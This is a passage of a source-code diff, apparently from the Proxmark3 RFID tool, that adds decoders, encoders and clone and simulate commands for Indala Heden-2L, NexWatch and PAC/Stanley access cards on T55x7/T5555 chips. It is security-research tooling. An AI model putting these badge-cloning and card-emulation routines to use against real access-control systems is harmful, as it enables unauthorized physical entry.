+ 11]) cardnumber += 128; + if (bits[offset + 19]) cardnumber += 256; + if (bits[offset + 26]) cardnumber += 512; + if (bits[offset + 17]) cardnumber += 1024; + if (bits[offset + 18]) cardnumber += 2048; + if (bits[offset + 20]) cardnumber += 4096; + if (bits[offset + 13]) cardnumber += 8192; + if (bits[offset + 7]) cardnumber += 16384; + if (bits[offset + 23]) cardnumber += 32768; + + PrintAndLogEx(SUCCESS, "\tHeden-2L | %u", cardnumber); +} + // Indala 26 bit decode // by marshmellow, martinbeier // optional arguments - same as PSKDemod (clock & invert & maxerr) @@ -172,8 +247,11 @@ static int CmdIndalaDemod(const char *Cmd) { PrintAndLogEx(SUCCESS, "Possible de-scramble patterns"); PrintAndLogEx(SUCCESS, "\tPrinted | __%04d__ [0x%X]", p1, p1); PrintAndLogEx(SUCCESS, "\tInternal ID | %" PRIu64, foo); + decodeHeden2L(DemodBuffer); + PrintAndLogEx(SUCCESS, "Fmt 26 bit FC %u , CSN %u , checksum %1d%1d", fc, csn, checksum >> 1 & 0x01, checksum & 0x01); + } else { uint32_t uid3 = bytebits_to_byte(DemodBuffer + 64, 32); uint32_t uid4 = bytebits_to_byte(DemodBuffer + 96, 32); @@ -405,7 +483,7 @@ static int CmdIndalaDemodAlt(const char *Cmd) { // this read is the "normal" read, which download lf signal and tries to demod here. static int CmdIndalaRead(const char *Cmd) { - lf_read(true, 30000); + lf_read(false, 30000); return CmdIndalaDemod(Cmd); } @@ -464,49 +542,55 @@ static int CmdIndalaSim(const char *Cmd) { static int CmdIndalaClone(const char *Cmd) { - bool isLongUid = false; + bool is_long_uid = false, got_cn = false; + bool is_t5555 = false; + int32_t cardnumber; uint32_t blocks[8] = {0}; uint8_t max = 0; - uint8_t data[7 * 4]; int datalen = 0; CLIParserInit("lf indala clone", - "Enables cloning of Indala card with specified uid onto T55x7\n" - "defaults to 64.\n", - "\n" - "Samples:\n" - "\tlf indala clone a0000000a0002021\n" - "\tlf indala clone -l 80000001b23523a6c2e31eba3cbee4afb3c6ad1fcf649393928c14e5"); + "clone INDALA tag to T55x7 (or to q5/T5555)", + "Examples:\n" + "\tlf indala clone -c 888\n" + "\tlf indala clone -r a0000000a0002021\n" + "\tlf indala clone -l -r 80000001b23523a6c2e31eba3cbee4afb3c6ad1fcf649393928c14e5"); void *argtable[] = { arg_param_begin, - arg_lit0("lL", "long", "long UID 224 bits"), - arg_strx1(NULL, NULL, "", NULL), + arg_lit0("lL", "long", "optional - long UID 224 bits"), + arg_int0("cC", "cn", "", "Cardnumber for Heden 2L format"), + arg_strx0("rR", "raw", "", "raw bytes"), + arg_lit0("qQ", "Q5", "optional - specify write to Q5 (t5555 instead of t55x7)"), arg_param_end }; CLIExecWithReturn(Cmd, argtable, false); - isLongUid = arg_get_lit(1); - CLIGetHexWithReturn(2, data, &datalen); + is_long_uid = arg_get_lit(1); + if (is_long_uid == false) { + cardnumber = arg_get_int_def(2, -1); + got_cn = (cardnumber != -1); + } + + if (got_cn == false) { + CLIGetHexWithReturn(3, data, &datalen); + } + + is_t5555 = arg_get_lit(4); + CLIParserFree(); - /* - //TODO add selection of chip for Q5 or T55x7 - - // data[0] = T5555_SET_BITRATE(32 | T5555_MODULATION_PSK2 | 7 << T5555_MAXBLOCK_SHIFT; - //Alternative config for Indala (Extended mode;RF/32;PSK1 with RF/2;Maxblock=7;Inverse data) - // T5567WriteBlock(0x603E10E2,0); - - // data[0] = T5555_SET_BITRATE(32 | T5555_MODULATION_PSK1 | 2 << T5555_MAXBLOCK_SHIFT; - //Alternative config for Indala (Extended mode;RF/32;PSK1 with RF/2;Maxblock=2;Inverse data) - // T5567WriteBlock(0x603E1042,0); - */ - - if (isLongUid) { + if (is_long_uid) { + // 224 BIT UID // config for Indala (RF/32;PSK2 with RF/2;Maxblock=7) PrintAndLogEx(INFO, "Preparing to clone Indala 224bit tag with RawID %s", sprint_hex(data, datalen)); - blocks[0] = T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK2 | (7 << T55x7_MAXBLOCK_SHIFT); + + if (is_t5555) + blocks[0] = T5555_SET_BITRATE(32) | T5555_MODULATION_PSK2 | (7 << T5555_MAXBLOCK_SHIFT); + else + blocks[0] = T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK2 | (7 << T55x7_MAXBLOCK_SHIFT); + blocks[1] = bytes_to_num(data, 4); blocks[2] = bytes_to_num(data + 4, 4); blocks[3] = bytes_to_num(data + 8, 4); @@ -516,16 +600,26 @@ static int CmdIndalaClone(const char *Cmd) { blocks[7] = bytes_to_num(data + 24, 4); max = 8; } else { + // 64 BIT UID + if (got_cn) { + encodeHeden2L(data, cardnumber); + datalen = 8; + } + // config for Indala 64 format (RF/32;PSK1 with RF/2;Maxblock=2) PrintAndLogEx(INFO, "Preparing to clone Indala 64bit tag with RawID %s", sprint_hex(data, datalen)); - blocks[0] = T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK1 | (2 << T55x7_MAXBLOCK_SHIFT); + + if (is_t5555) + blocks[0] = T5555_SET_BITRATE(32) | T5555_MODULATION_PSK1 | (2 << T5555_MAXBLOCK_SHIFT); + else + blocks[0] = T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK1 | (2 << T55x7_MAXBLOCK_SHIFT); + blocks[1] = bytes_to_num(data, 4); blocks[2] = bytes_to_num(data + 4, 4); max = 3; } print_blocks(blocks, max); - return clone_t55xx_tag(blocks, max); } @@ -555,8 +649,7 @@ int CmdLFINDALA(const char *Cmd) { int detectIndala(uint8_t *dest, size_t *size, uint8_t *invert) { uint8_t preamble64_i[] = {0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0}; - uint8_t preamble224_i[] = {0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0}; - + uint8_t preamble224_i[] = {0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1}; size_t idx = 0; size_t found_size = *size; diff --git a/client/cmdlfio.c b/client/cmdlfio.c index 57a8a64d1..1a25fca17 100644 --- a/client/cmdlfio.c +++ b/client/cmdlfio.c @@ -47,9 +47,9 @@ static int usage_lf_io_sim(void) { PrintAndLogEx(NORMAL, "Usage: lf io sim [h] "); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h : This help"); - PrintAndLogEx(NORMAL, " : 8bit version"); - PrintAndLogEx(NORMAL, " : 8bit value facility code"); - PrintAndLogEx(NORMAL, " : 16bit value card number"); + PrintAndLogEx(NORMAL, " : 8bit version (decimal)"); + PrintAndLogEx(NORMAL, " : 8bit value facility code (hex)"); + PrintAndLogEx(NORMAL, " : 16bit value card number (decimal)"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf io sim 26 101 1337"); @@ -63,9 +63,9 @@ static int usage_lf_io_clone(void) { PrintAndLogEx(NORMAL, "Usage: lf io clone [h] [Q5]"); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h : This help"); - PrintAndLogEx(NORMAL, " : 8bit version"); - PrintAndLogEx(NORMAL, " : 8bit value facility code"); - PrintAndLogEx(NORMAL, " : 16bit value card number"); + PrintAndLogEx(NORMAL, " : 8bit version (decimal)"); + PrintAndLogEx(NORMAL, " : 8bit value facility code (hex)"); + PrintAndLogEx(NORMAL, " : 16bit value card number (decimal)"); PrintAndLogEx(NORMAL, " Q5 : optional - clone to Q5 (T5555) instead of T55x7 chip"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); @@ -184,7 +184,7 @@ static int CmdIOProxDemod(const char *Cmd) { // this read is the "normal" read, which download lf signal and tries to demod here. static int CmdIOProxRead(const char *Cmd) { - lf_read(true, 12000); + lf_read(false, 12000); return CmdIOProxDemod(Cmd); } static int CmdIOProxSim(const char *Cmd) { @@ -197,7 +197,7 @@ static int CmdIOProxSim(const char *Cmd) { if (strlen(Cmd) == 0 || cmdp == 'h') return usage_lf_io_sim(); version = param_get8(Cmd, 0); - fc = param_get8(Cmd, 1); + fc = param_get8ex(Cmd, 1, 0, 16); cn = param_get32ex(Cmd, 2, 0, 10); if (!version || !fc || !cn) return usage_lf_io_sim(); @@ -249,7 +249,7 @@ static int CmdIOProxClone(const char *Cmd) { if (strlen(Cmd) == 0 || cmdp == 'h') return usage_lf_io_clone(); version = param_get8(Cmd, 0); - fc = param_get8(Cmd, 1); + fc = param_get8ex(Cmd, 1, 0, 16); cn = param_get32ex(Cmd, 2, 0, 10); if (!version || !fc || !cn) return usage_lf_io_clone(); diff --git a/client/cmdlfkeri.c b/client/cmdlfkeri.c index b36be56b9..aadc8676d 100644 --- a/client/cmdlfkeri.c +++ b/client/cmdlfkeri.c @@ -115,7 +115,7 @@ static int CmdKeriDemod(const char *Cmd) { } static int CmdKeriRead(const char *Cmd) { - lf_read(true, 10000); + lf_read(false, 10000); return CmdKeriDemod(Cmd); } diff --git a/client/cmdlfmotorola.c b/client/cmdlfmotorola.c index dbcf28e40..9f0ee1f41 100644 --- a/client/cmdlfmotorola.c +++ b/client/cmdlfmotorola.c @@ -124,8 +124,8 @@ static int CmdMotorolaRead(const char *Cmd) { // Motorola Flexpass seem to work at 74 kHz // and take about 4400 samples to befor modulating sample_config sc = { - .decimation = 0, - .bits_per_sample = 0, + .decimation = -1, + .bits_per_sample = -1, .averaging = false, .divisor = LF_FREQ2DIV(74), .trigger_threshold = -1, @@ -135,7 +135,7 @@ static int CmdMotorolaRead(const char *Cmd) { lf_config(&sc); // 64 * 32 * 2 * n-ish - lf_read(true, 5000); + lf_read(false, 5000); // reset back to 125 kHz sc.divisor = LF_DIVISOR_125; diff --git a/client/cmdlfnedap.c b/client/cmdlfnedap.c index 84b433a0c..c3d6d1ace 100644 --- a/client/cmdlfnedap.c +++ b/client/cmdlfnedap.c @@ -299,7 +299,7 @@ lf t55xx wr b 4 d 4c0003ff */ static int CmdLFNedapRead(const char *Cmd) { - lf_read(true, 16000); + lf_read(false, 16000); return CmdLFNedapDemod(Cmd); } diff --git a/client/cmdlfnexwatch.c b/client/cmdlfnexwatch.c index 1a204ed41..68be0e0bc 100644 --- a/client/cmdlfnexwatch.c +++ b/client/cmdlfnexwatch.c @@ -9,17 +9,20 @@ //----------------------------------------------------------------------------- #include "cmdlfnexwatch.h" +#include // PRIu +#include #include // tolower +#include // free, alloc #include "commonutil.h" // ARRAYLEN -#include "cmdparser.h" // command_t +#include "cmdparser.h" // command_t #include "comms.h" #include "ui.h" -#include "cmddata.h" // preamblesearch +#include "cmddata.h" // preamblesearch #include "cmdlf.h" #include "lfdemod.h" -#include "protocols.h" // t55xx defines -#include "cmdlft55xx.h" // clone.. +#include "protocols.h" // t55xx defines +#include "cmdlft55xx.h" // clone.. static int CmdHelp(const char *Cmd); @@ -28,16 +31,30 @@ static int usage_lf_nexwatch_clone(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Usage: lf nexwatch clone [h] [b ]"); PrintAndLogEx(NORMAL, "Options:"); - PrintAndLogEx(NORMAL, " h : this help"); - PrintAndLogEx(NORMAL, " b : raw hex data. 12 bytes max"); + PrintAndLogEx(NORMAL, " h : this help"); + PrintAndLogEx(NORMAL, " r : raw hex data. 16 bytes max"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " lf nexwatch clone b 5600000000213C9F8F150C0000000000"); + PrintAndLogEx(NORMAL, " lf nexwatch clone r 5600000000213C9F8F150C0000000000"); + return PM3_SUCCESS; +} + +static int usage_lf_nexwatch_sim(void) { + PrintAndLogEx(NORMAL, "Enables simulation of Nexwatch card"); + PrintAndLogEx(NORMAL, "Simulation runs until the button is pressed or another USB command is issued."); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Usage: lf nexwatch sim [h] "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h : this help"); + PrintAndLogEx(NORMAL, " r : raw hex data. 16 bytes max"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " lf nexwatch sim r 5600000000213C9F8F150C0000000000"); return PM3_SUCCESS; } static int CmdNexWatchDemod(const char *Cmd) { - (void)Cmd; // Cmd is not used so far + (void)Cmd; if (PSKDemod("", false) != PM3_SUCCESS) { PrintAndLogEx(DEBUG, "DEBUG: Error - NexWatch can't demod signal"); @@ -80,21 +97,24 @@ static int CmdNexWatchDemod(const char *Cmd) { //checksum check (TBD) //output - PrintAndLogEx(NORMAL, "NexWatch ID: %d", ID); + PrintAndLogEx(SUCCESS, "NexWatch ID: " _YELLOW_("%"PRIu32), ID); if (invert) { - PrintAndLogEx(NORMAL, "Had to Invert - probably NexKey"); + PrintAndLogEx(INFO, "Had to Invert - probably NexKey"); for (size_t i = 0; i < size; i++) DemodBuffer[i] ^= 1; } + // bits to hex CmdPrintDemodBuff("x"); + //PrintAndLogEx(INFO, "Raw: %s", sprint_hex_inrow(DemodBuffer, DemodBufferLen)); + return PM3_SUCCESS; } //by marshmellow //see ASKDemod for what args are accepted static int CmdNexWatchRead(const char *Cmd) { - lf_read(true, 10000); + lf_read(false, 20000); return CmdNexWatchDemod(Cmd); } @@ -110,7 +130,7 @@ static int CmdNexWatchClone(const char *Cmd) { switch (tolower(param_getchar(Cmd, cmdp))) { case 'h': return usage_lf_nexwatch_clone(); - case 'b': { + case 'r': { // skip first block, 4*4 = 16 bytes left uint8_t rawhex[16] = {0}; int res = param_gethex_to_eol(Cmd, cmdp + 1, rawhex, sizeof(rawhex), &datalen); @@ -143,11 +163,64 @@ static int CmdNexWatchClone(const char *Cmd) { } static int CmdNexWatchSim(const char *Cmd) { - PrintAndLogEx(INFO, " To be implemented, feel free to contribute!"); + + uint8_t cmdp = 0; + bool errors = false; + int rawlen = 0; + uint8_t rawhex[16] = {0}; + uint32_t rawblocks[4]; + uint8_t bs[128]; + memset(bs, 0, sizeof(bs)); + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': + return usage_lf_nexwatch_clone(); + case 'r': { + int res = param_gethex_to_eol(Cmd, cmdp + 1, rawhex, sizeof(rawhex), &rawlen); + if (res != 0) + errors = true; + + cmdp += 2; + break; + } + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + if (errors || cmdp == 0) return usage_lf_nexwatch_sim(); + + // hex to bits. + for (size_t i = 0; i < ARRAYLEN(rawblocks); i++) { + rawblocks[i] = bytes_to_num(rawhex + (i * sizeof(uint32_t)), sizeof(uint32_t)); + num_to_bytebits(rawblocks[i], sizeof(uint32_t) * 8, bs + (i * sizeof(uint32_t) * 8)); + } + + PrintAndLogEx(SUCCESS, "Simulating NexWatch - raw: %s", sprint_hex_inrow(rawhex, rawlen)); + + lf_psksim_t *payload = calloc(1, sizeof(lf_psksim_t) + sizeof(bs)); + payload->carrier = 2; + payload->invert = 0; + payload->clock = 32; + memcpy(payload->data, bs, sizeof(bs)); + + clearCommandBuffer(); + SendCommandNG(CMD_LF_PSK_SIMULATE, (uint8_t *)payload, sizeof(lf_psksim_t) + sizeof(bs)); + free(payload); + + PacketResponseNG resp; + WaitForResponse(CMD_LF_PSK_SIMULATE, &resp); + + PrintAndLogEx(INFO, "Done"); + if (resp.status != PM3_EOPABORTED) + return resp.status; + return PM3_SUCCESS; } - static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, {"demod", CmdNexWatchDemod, AlwaysAvailable, "Demodulate a NexWatch tag (nexkey, quadrakey) from the GraphBuffer"}, diff --git a/client/cmdlfnoralsy.c b/client/cmdlfnoralsy.c index ceebb8e2d..d7728a3d9 100644 --- a/client/cmdlfnoralsy.c +++ b/client/cmdlfnoralsy.c @@ -133,7 +133,7 @@ static int CmdNoralsyDemod(const char *Cmd) { } static int CmdNoralsyRead(const char *Cmd) { - lf_read(true, 8000); + lf_read(false, 8000); return CmdNoralsyDemod(Cmd); } diff --git a/client/cmdlfpac.c b/client/cmdlfpac.c index eb1b20cd9..24c549a4b 100644 --- a/client/cmdlfpac.c +++ b/client/cmdlfpac.c @@ -4,12 +4,14 @@ // at your option, any later version. See the LICENSE.txt file for the text of // the license. //----------------------------------------------------------------------------- -// Low frequency Stanley/PAC tag commands -// NRZ, RF/32, 128 bits long (unknown cs) +// Low frequency PAC/Stanley tag commands +// NRZ, RF/32, 128 bits long //----------------------------------------------------------------------------- #include "cmdlfpac.h" #include //tolower +#include +#include #include "commonutil.h" // ARRAYLEN #include "common.h" @@ -21,21 +23,121 @@ #include "lfdemod.h" // preamble test #include "protocols.h" // t55xx defines #include "cmdlft55xx.h" // clone.. +#include "parity.h" static int CmdHelp(const char *Cmd); static int usage_lf_pac_clone(void) { - PrintAndLogEx(NORMAL, "clone a Stanley/PAC tag to a T55x7 tag."); + PrintAndLogEx(NORMAL, "clone a PAC/Stanley tag to a T55x7 tag."); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, "Usage: lf pac clone [h] [b ]"); + PrintAndLogEx(NORMAL, "Usage: lf pac clone [h] [c ] [b ]"); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h : this help"); - PrintAndLogEx(NORMAL, " b : raw hex data. 12 bytes max"); + PrintAndLogEx(NORMAL, " c : 8 byte card ID"); + PrintAndLogEx(NORMAL, " b : raw hex data. 16 bytes max"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " lf pac clone c CD4F5552 "); PrintAndLogEx(NORMAL, " lf pac clone b FF2049906D8511C593155B56D5B2649F "); return PM3_SUCCESS; } +static int usage_lf_pac_sim(void) { + PrintAndLogEx(NORMAL, "Enables simulation of PAC/Stanley card with specified card number."); + PrintAndLogEx(NORMAL, "Simulation runs until the button is pressed or another USB command is issued."); + PrintAndLogEx(NORMAL, "The card ID is 8 byte number. Larger values are truncated."); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Usage: lf pac sim "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " : 8 byte PAC/Stanley card id"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " lf pac sim 12345678"); + return PM3_SUCCESS; +} +// by danshuk +// PAC_8byte format: preamble (8 mark/idle bits), ascii STX (02), ascii '2' (32), ascii '0' (30), ascii bytes 0..7 (cardid), then xor checksum of cardid bytes +// all bytes following 8 bit preamble are one start bit (0), 7 data bits (lsb first), odd parity bit, and one stop bit (1) +static int demodbuf_to_pacid(uint8_t *src, const size_t src_size, uint8_t *dst, const size_t dst_size) { + const size_t byteLength = 10; // start bit, 7 data bits, parity bit, stop bit + const size_t startIndex = 8 + (3 * byteLength) + 1; // skip 8 bits preamble, STX, '2', '0', and first start bit + const size_t dataLength = 9; + + if (startIndex + byteLength * (dataLength - 1) > src_size) { + PrintAndLogEx(DEBUG, "DEBUG: Error - PAC: Source buffer too small"); + return PM3_EOVFLOW; + } + if (dataLength > dst_size) { + PrintAndLogEx(DEBUG, "DEBUG: Error - PAC: Destination buffer too small"); + return PM3_EOVFLOW; + } + + uint8_t checksum = 0; + for (size_t idx = 0; idx < dataLength; idx++) { + uint8_t byte = (uint8_t)bytebits_to_byteLSBF(src + startIndex + (byteLength * idx), 8); + dst[idx] = byte & 0x7F; // discard the parity bit + if (oddparity8(dst[idx]) != (byte & 0x80) >> 7) { + PrintAndLogEx(DEBUG, "DEBUG: Error - PAC: Parity check failed"); + return PM3_ESOFT; + } + if (idx < dataLength - 1) checksum ^= byte; + } + if (dst[dataLength - 1] != checksum) { + PrintAndLogEx(DEBUG, "DEBUG: Error - PAC: Bad checksum - expected: %02X, actual: %02X", dst[dataLength - 1], checksum); + return PM3_ESOFT; + } + dst[dataLength - 1] = 0; // overwrite checksum byte with null terminator + + return PM3_SUCCESS; +} + +/* +// convert a 16 byte array of raw demod data (FF204990XX...) to 8 bytes of PAC_8byte ID +// performs no parity or checksum validation +static void pacRawToCardId(uint8_t* outCardId, const uint8_t* rawBytes) { + for (int i = 4; i < 12; i++) { + uint8_t shift = 7 - (i + 3) % 4 * 2; + size_t index = i + (i - 1) / 4; + + outCardId[i - 4] = reflect8((((rawBytes[index] << 8) | (rawBytes[index + 1])) >> shift) & 0xFE); + } +} +*/ + +// convert 8 bytes of PAC_8byte ID to 16 byte array of raw data (FF204990XX...) +static void pacCardIdToRaw(uint8_t *outRawBytes, const char *cardId) { + uint8_t idbytes[10]; + + // prepend PAC_8byte card type "20" + idbytes[0] = '2'; + idbytes[1] = '0'; + for (size_t i = 0; i < 8; i++) + idbytes[i + 2] = toupper(cardId[i]); + + // initialise array with start and stop bits + for (size_t i = 0; i < 16; i++) + outRawBytes[i] = 0x40 >> (i + 3) % 5 * 2; + + outRawBytes[0] = 0xFF; // mark + stop + outRawBytes[1] = 0x20; // start + reflect8(STX) + + uint8_t checksum = 0; + for (size_t i = 2; i < 13; i++) { + uint8_t shift = 7 - (i + 3) % 4 * 2; + uint8_t index = i + (i - 1) / 4; + + uint16_t pattern; + if (i < 12) { + pattern = reflect8(idbytes[i - 2]); + pattern |= oddparity8(pattern); + if (i > 3) checksum ^= idbytes[i - 2]; + } else + pattern = (reflect8(checksum) & 0xFE) | oddparity8(checksum); + pattern <<= shift; + + outRawBytes[index] |= pattern >> 8 & 0xFF; + outRawBytes[index + 1] |= pattern & 0xFF; + } +} //see NRZDemod for what args are accepted static int CmdPacDemod(const char *Cmd) { @@ -68,17 +170,18 @@ static int CmdPacDemod(const char *Cmd) { uint32_t raw3 = bytebits_to_byte(DemodBuffer + 64, 32); uint32_t raw4 = bytebits_to_byte(DemodBuffer + 96, 32); - // preamble then appears to have marker bits of "10" CS? - // 11111111001000000 10 01001100 10 00001101 10 00001101 10 00001101 10 00001101 10 00001101 10 00001101 10 00001101 10 00001101 10 10001100 10 100000001 - // unknown checksum 9 bits at the end + const size_t idLen = 9; // 8 bytes + null terminator + uint8_t cardid[idLen]; + int retval = demodbuf_to_pacid(DemodBuffer, DemodBufferLen, cardid, sizeof(cardid)); - PrintAndLogEx(SUCCESS, "PAC/Stanley Tag Found -- Raw: %08X%08X%08X%08X", raw1, raw2, raw3, raw4); - PrintAndLogEx(INFO, "How the Raw ID is translated by the reader is unknown. Share your trace file on forum"); - return PM3_SUCCESS; + if (retval == PM3_SUCCESS) + PrintAndLogEx(SUCCESS, "PAC/Stanley Tag Found -- Card ID: %s, Raw: %08X%08X%08X%08X", cardid, raw1, raw2, raw3, raw4); + + return retval; } static int CmdPacRead(const char *Cmd) { - lf_read(true, 4096 * 2 + 20); + lf_read(false, 4096 * 2 + 20); return CmdPacDemod(Cmd); } @@ -93,6 +196,21 @@ static int CmdPacClone(const char *Cmd) { switch (tolower(param_getchar(Cmd, cmdp))) { case 'h': return usage_lf_pac_clone(); + case 'c': { + // skip first block, 4*4 = 16 bytes left + uint8_t rawhex[16] = {0}; + char cardid[9]; + int res = param_getstr(Cmd, cmdp + 1, cardid, sizeof(cardid)); + if (res < 8) + errors = true; + + pacCardIdToRaw(rawhex, cardid); + for (uint8_t i = 1; i < ARRAYLEN(blocks); i++) { + blocks[i] = bytes_to_num(rawhex + ((i - 1) * 4), sizeof(uint32_t)); + } + cmdp += 2; + break; + } case 'b': { // skip first block, 4*4 = 16 bytes left uint8_t rawhex[16] = {0}; @@ -115,10 +233,10 @@ static int CmdPacClone(const char *Cmd) { if (errors || cmdp == 0) return usage_lf_pac_clone(); - //Pac - compat mode, NRZ, data rate 40, 3 data blocks - blocks[0] = T55x7_MODULATION_DIRECT | T55x7_BITRATE_RF_40 | 4 << T55x7_MAXBLOCK_SHIFT; + //Pac - compat mode, NRZ, data rate 32, 3 data blocks + blocks[0] = T55x7_MODULATION_DIRECT | T55x7_BITRATE_RF_32 | 4 << T55x7_MAXBLOCK_SHIFT; - PrintAndLogEx(INFO, "Preparing to clone Securakey to T55x7 with raw hex"); + PrintAndLogEx(INFO, "Preparing to clone PAC/Stanley tag to T55x7 with raw hex"); print_blocks(blocks, ARRAYLEN(blocks)); return clone_t55xx_tag(blocks, ARRAYLEN(blocks)); @@ -127,13 +245,47 @@ static int CmdPacClone(const char *Cmd) { static int CmdPacSim(const char *Cmd) { // NRZ sim. - PrintAndLogEx(INFO, " To be implemented, feel free to contribute!"); + char cardid[9] = { 0 }; + uint8_t rawBytes[16] = { 0 }; + uint32_t rawBlocks[4]; + char cmdp = tolower(param_getchar(Cmd, 0)); + if (strlen(Cmd) == 0 || cmdp == 'h') return usage_lf_pac_sim(); + + int res = param_getstr(Cmd, 0, cardid, sizeof(cardid)); + if (res < 8) return usage_lf_pac_sim(); + + uint8_t bs[128]; + pacCardIdToRaw(rawBytes, cardid); + for (size_t i = 0; i < ARRAYLEN(rawBlocks); i++) { + rawBlocks[i] = bytes_to_num(rawBytes + (i * sizeof(uint32_t)), sizeof(uint32_t)); + num_to_bytebits(rawBlocks[i], sizeof(uint32_t) * 8, bs + (i * sizeof(uint32_t) * 8)); + } + + PrintAndLogEx(SUCCESS, "Simulating PAC/Stanley - ID " _YELLOW_("%s")" raw "_YELLOW_("%08X%08X%08X%08X"), cardid, rawBlocks[0], rawBlocks[1], rawBlocks[2], rawBlocks[3]); + + lf_nrzsim_t *payload = calloc(1, sizeof(lf_nrzsim_t) + sizeof(bs)); + payload->invert = 0; + payload->separator = 0; + payload->clock = 32; + memcpy(payload->data, bs, sizeof(bs)); + + clearCommandBuffer(); + SendCommandNG(CMD_LF_NRZ_SIMULATE, (uint8_t *)payload, sizeof(lf_nrzsim_t) + sizeof(bs)); + free(payload); + + PacketResponseNG resp; + WaitForResponse(CMD_LF_NRZ_SIMULATE, &resp); + + PrintAndLogEx(INFO, "Done"); + if (resp.status != PM3_EOPABORTED) + return resp.status; + return PM3_SUCCESS; } static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, - {"demod", CmdPacDemod, AlwaysAvailable, "Demodulate an PAC tag from the GraphBuffer"}, + {"demod", CmdPacDemod, AlwaysAvailable, "Demodulate a PAC tag from the GraphBuffer"}, {"read", CmdPacRead, IfPm3Lf, "Attempt to read and extract tag data from the antenna"}, {"clone", CmdPacClone, IfPm3Lf, "clone PAC tag to T55x7"}, {"sim", CmdPacSim, IfPm3Lf, "simulate PAC tag"}, diff --git a/client/cmdlfparadox.c b/client/cmdlfparadox.c index c154e7efa..29e247b59 100644 --- a/client/cmdlfparadox.c +++ b/client/cmdlfparadox.c @@ -126,7 +126,7 @@ static int CmdParadoxDemod(const char *Cmd) { //by marshmellow //see ASKDemod for what args are accepted static int CmdParadoxRead(const char *Cmd) { - lf_read(true, 10000); + lf_read(false, 10000); return CmdParadoxDemod(Cmd); } diff --git a/client/cmdlfpresco.c b/client/cmdlfpresco.c index abce377f4..a0619d794 100644 --- a/client/cmdlfpresco.c +++ b/client/cmdlfpresco.c @@ -100,7 +100,7 @@ static int CmdPrescoDemod(const char *Cmd) { //see ASKDemod for what args are accepted static int CmdPrescoRead(const char *Cmd) { // Presco Number: 123456789 --> Sitecode 30 | usercode 8665 - lf_read(true, 12000); + lf_read(false, 12000); return CmdPrescoDemod(Cmd); } diff --git a/client/cmdlfpyramid.c b/client/cmdlfpyramid.c index a36bd34e3..5737c87b9 100644 --- a/client/cmdlfpyramid.c +++ b/client/cmdlfpyramid.c @@ -209,7 +209,7 @@ static int CmdPyramidDemod(const char *Cmd) { } static int CmdPyramidRead(const char *Cmd) { - lf_read(true, 15000); + lf_read(false, 15000); return CmdPyramidDemod(Cmd); } diff --git a/client/cmdlfsecurakey.c b/client/cmdlfsecurakey.c index 48ec731ce..ef4b5be8e 100644 --- a/client/cmdlfsecurakey.c +++ b/client/cmdlfsecurakey.c @@ -125,7 +125,7 @@ static int CmdSecurakeyDemod(const char *Cmd) { } static int CmdSecurakeyRead(const char *Cmd) { - lf_read(true, 8000); + lf_read(false, 8000); return CmdSecurakeyDemod(Cmd); } diff --git a/client/cmdlft55xx.c b/client/cmdlft55xx.c index 9175bdaf5..f25626d94 100644 --- a/client/cmdlft55xx.c +++ b/client/cmdlft55xx.c @@ -2325,6 +2325,7 @@ static int CmdT55xxDump(const char *Cmd) { for (int i = 0; i < T55x7_BLOCK_COUNT; i++) data[i] = BSWAP_32(cardmem[i].blockdata); + saveFileJSON(preferredName, jsfT55x7, (uint8_t *)data, T55x7_BLOCK_COUNT * sizeof(uint32_t)); saveFileEML(preferredName, (uint8_t *)data, T55x7_BLOCK_COUNT * sizeof(uint32_t), sizeof(uint32_t)); saveFile(preferredName, ".bin", data, sizeof(data)); } @@ -2527,7 +2528,7 @@ bool AcquireData(uint8_t page, uint8_t block, bool pwdmode, uint32_t password, u return false; } - getSamples(12000, true); + getSamples(12000, false); return !getSignalProperties()->isnoise; } @@ -3061,8 +3062,6 @@ static int CmdT55xxChkPwds(const char *Cmd) { return PM3_ESOFT; } - // loop - uint64_t curr_password = 0x00; for (uint16_t c = 0; c < keycount; ++c) { if (!session.pm3_present) { @@ -3076,7 +3075,7 @@ static int CmdT55xxChkPwds(const char *Cmd) { return PM3_EOPABORTED; } - curr_password = 